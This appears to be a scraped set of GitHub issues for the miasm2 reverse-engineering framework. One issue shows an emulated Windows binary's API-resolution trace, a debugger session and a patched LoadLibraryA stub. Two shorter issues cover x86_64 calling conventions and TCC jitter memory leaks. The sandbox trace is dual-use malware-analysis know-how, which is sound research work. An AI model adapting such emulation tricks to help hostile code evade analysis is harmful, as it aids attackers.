[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401f62']
INFO : Sleep
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401f6a']
INFO : SizeofResource
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401f7c']
INFO : GetModuleFileNameW
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401f92']
INFO : CreateFileW
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401fa0']
INFO : lstrlenW
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401fac']
INFO : GetTempPathW
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401fbc']
INFO : GetLastError
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401fcc']
INFO : GetProcAddress
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401fde']
INFO : VirtualAlloc
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401fee']
INFO : LoadLibraryA
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x401ffe']
INFO : LockResource
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x40200e']
INFO : GetModuleHandleA
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x402022']
INFO : CreateMutexA
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x402032']
INFO : CloseHandle
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7c800000', '0x402040']
INFO : DeleteFileW
[DEBUG]: kernel32_VirtualProtect 0x20001269 ['0x401000', '0x54', '0x40', '0x132fecc']
[DEBUG]: kernel32_GetModuleHandle 0x2000120b ['0x402068']
INFO : USER32.dll
[DEBUG]: kernel32_VirtualProtect 0x20001230 ['0x401054', '0x8', '0x4', '0x132fec4']
[DEBUG]: kernel32_GetProcAddress 0x2000125b ['0x7e390000', '0x40205c']
INFO : MessageBoxA
[DEBUG]: kernel32_VirtualProtect 0x20001269 ['0x401054', '0x8', '0x40', '0x132fecc']
[DEBUG]: kernel32_VirtualFree 0x2000118b ['0x20002000', '0x2000', '0x4000']
[DEBUG]: kernel32_LoadLibraryA 0x401956 ['0x4012a8']
SHLWAPI.DLL
INFO : SHLWAPI.DLL
INFO : ret 71119000
[DEBUG]: kernel32_LoadLibraryA 0x40195f ['0x4012b4']
SETUPAPI.DLL
INFO : SETUPAPI.DLL
INFO : ret 71123000
RAX 0000000071123000 RBX 0000000071119000 RCX 0000000000000000 RDX 0000000000000000
RSI 000000007C801D7B RDI 000000000132FFE1 RSP 000000000132F5A8 RBP 000000000133000C
zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 000000000040195F
0040195F PUSH       0x4012C4
RAX 0000000071123000 RBX 0000000071119000 RCX 0000000000000000 RDX 0000000000000000
RSI 000000007C801D7B RDI 000000000132FFE1 RSP 000000000132F5A4 RBP 000000000133000C
zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 000000000040195F
00401964 MOV        EBP, EAX
RAX 0000000071123000 RBX 0000000071119000 RCX 0000000000000000 RDX 0000000000000000
RSI 000000007C801D7B RDI 000000000132FFE1 RSP 000000000132F5A4 RBP 0000000071123000
zf 0000000000000000 nf 0000000000000000 of 0000000000000000 cf 0000000000000000
RIP 0000000000401964
00401966 CALL       ESI
[DEBUG]: kernel32_LoadLibraryA 0x401968 ['0x4012c4']
SHELL32.DLL
INFO : SHELL32.DLL
INFO : ret 71124000
--Return--
> /scripts/sandbox.py(102)kernel32_LoadLibraryA()->None
-> pdb.set_trace()
(Pdb) s   
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(369)handle_lib()
-> jitter.pc = getattr(jitter.cpu, jitter.ir_arch.pc.name)
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(370)handle_lib()
-> return True
(Pdb) s
--Return--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(370)handle_lib()->True
-> return True
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(85)call_callbacks()
-> if res is not True:
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(83)call_callbacks()
-> for c in self.get_callbacks(name):
(Pdb) s
--Return--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(83)call_callbacks()->None
-> for c in self.get_callbacks(name):
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(265)runiter_once()
-> if old_pc != self.pc:
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(266)runiter_once()
-> return
(Pdb) s
--Return--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(266)runiter_once()->None
-> return
(Pdb) s
StopIteration: None
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(297)continue_run()
-> return self.run_iterator.next()
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(298)continue_run()
-> except StopIteration:
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(299)continue_run()
-> pass
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(301)continue_run()
-> self.run_iterator = self.runiter_once(self.pc)
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(303)continue_run()
-> if step is True:
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(295)continue_run()
-> while self.run:
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(296)continue_run()
-> try:
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(297)continue_run()
-> return self.run_iterator.next()
(Pdb) s
--Call--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(246)runiter_once()
-> def runiter_once(self, pc):
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(250)runiter_once()
-> self.pc = pc
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(253)runiter_once()
-> if self.exec_cb is not None:
(Pdb) pc
4200808L
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(259)runiter_once()
-> old_pc = self.pc
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(260)runiter_once()
-> for res in self.breakpoints_handler(self.pc, self):
(Pdb) s
--Call--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(88)__call__()
-> def __call__(self, name, *args):
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(90)__call__()
-> return self.call_callbacks(name, *args)
(Pdb) s
--Return--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(90)__call__()-><generat...51e1a140>
-> return self.call_callbacks(name, *args)
(Pdb) s
--Call--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(76)call_callbacks()
-> def call_callbacks(self, name, *args):
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(81)call_callbacks()
-> res = True
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(83)call_callbacks()
-> for c in self.get_callbacks(name):
(Pdb) s
--Call--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(52)get_callbacks()
-> def get_callbacks(self, name):
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(54)get_callbacks()
-> return self.callbacks.get(name, [])
(Pdb) s
--Return--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(54)get_callbacks()->[]
-> return self.callbacks.get(name, [])
(Pdb) s
--Return--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(83)call_callbacks()->None
-> for c in self.get_callbacks(name):
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(265)runiter_once()
-> if old_pc != self.pc:
(Pdb) self.pc
4200808L
(Pdb) old_pc
4200808L
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(269)runiter_once()
-> assert(self.get_exception() == 0)
(Pdb) s
--Call--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(317)get_exception()
-> def get_exception(self):
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(318)get_exception()
-> return self.cpu.get_exception() | self.vm.get_exception()
(Pdb) s
--Return--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(318)get_exception()->0L
-> return self.cpu.get_exception() | self.vm.get_exception()
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(272)runiter_once()
-> self.pc = self.runbloc(self.pc)
(Pdb) s
--Call--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(240)runbloc()
-> def runbloc(self, pc):
(Pdb) pc
4200808L
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitload.py(244)runbloc()
-> return self.jit.runbloc(self.cpu, self.vm, pc)
(Pdb) hex(pc)
'0x401968L' # this is the correct value
(Pdb) s
--Call--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py(160)runbloc()
-> def runbloc(self, cpu, vm, lbl):
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py(167)runbloc()
-> if lbl is None:
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py(170)runbloc()
-> if not lbl in self.lbl2jitbloc:
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py(175)runbloc()
-> ret = self.jit_call(lbl, cpu, vm)
(Pdb) s
--Call--
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py(150)jit_call()
-> def jit_call(self, label, cpu, vmmngr):
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py(157)jit_call()
-> fc_ptr = self.lbl2jitbloc[label]
(Pdb) s
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py(158)jit_call()
-> return self.exec_wrapper(fc_ptr, cpu.cpu, vmmngr.vmmngr)
(Pdb) s
--Return-- # exec_wrapper returns 143017204 = 0x88644F4
> /usr/local/lib/python2.7/dist-packages/miasm2/jitter/jitcore.py(158)jit_call()->143017204L
-> return self.exec_wrapper(fc_ptr, cpu.cpu, vmmngr.vmmngr)
(Pdb) hex(143017204L)
'0x88644f4L'
(Pdb) c
WARNING: address 0x88644F4 is not mapped in virtual memory:
WARNING: [Errno cannot get mem ad] 0x88644f4L
WARNING: cannot disasm at 88644F4
> /scripts/sandbox.py(286)<module>()
-> assert(sb.jitter.run is False)

Here, CALL ESI is calling LoadLibraryA with parameter SHELL32.DLL. I overrid kernel32_LoadLibraryA with the following, to load some parts of uxtheme.dll which are verified by the binary in memory

def kernel32_LoadLibraryA(jitter):
    ret_ad, args = jitter.func_args_stdcall(1)
    dllname, = args

    libname = get_str_ansi(jitter, dllname, 0x100)
    print libname
    log.info(libname)

    ret = winobjs.runtime_dll.lib_get_add_base(libname)
    log.info("ret %x" %ret)

    # modifications here
    if libname.lower() == 'uxtheme.dll':
        with open('./win_dll/%s'%libname.lower()) as dllfile:
            dllcontents = dllfile.read()
            jitter.vm.add_memory_page(ret, PAGE_EXEC | PAGE_READ, dllcontents[:0x1000])

    jitter.func_ret_stdcall(ret_ad, ret)

Since this might be a little obscure to understand, I can share my script and sample if you need to.

Incomplete call_effects for x86_64

Hi,

the function call_effects in the class ir_a_x86_64 does only set the call_func_ret parameters for the Win64 calling convention:

irs = [[ExprAff(self.ret_reg, ExprOp('call_func_ret', ad, self.sp,
                                     self.arch.regs.RCX,
                                     self.arch.regs.RDX,
                                     self.arch.regs.R8,
                                     self.arch.regs.R9,
                                     )),
        ExprAff(self.sp, ExprOp('call_func_stack', ad, self.sp)),
        ]]

The System V AMD64 ABI (Linux) does also use RDI and RSI:

irs = [[ExprAff(self.ret_reg, ExprOp('call_func_ret', ad, self.sp,
                                     self.arch.regs.RDI,
                                     self.arch.regs.RSI,
                                     self.arch.regs.RCX,
                                     self.arch.regs.RDX,
                                     self.arch.regs.R8,
                                     self.arch.regs.R9,
                                     )),
        ExprAff(self.sp, ExprOp('call_func_stack', ad, self.sp)),
        ]]

Jitter (TCC) : Memory leak

Hi,

I recently jitted an heavy piece of code and i didn't manage to do it in one shot. It seems there is memory leak problems in the TCC jitter.

It is possible to limit the impact by disabling the usage of caches here:

self.tcc_states.append(tcc_state)
jcode = jit_tcc_code(mcode)
self.lbl2jitbloc[label.offset] = mcode
self.addr2obj[label.offset] = jcode
self.addr2objref[label.offset] = objref(jcode)

... and periodically clear the self.lbl2jitbloc list.

But the memory is still growing. By doing some analysis using python built-in tools, it seems the highest memory usage object is py_tuples, so probably objects created native side but never freed python side...

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.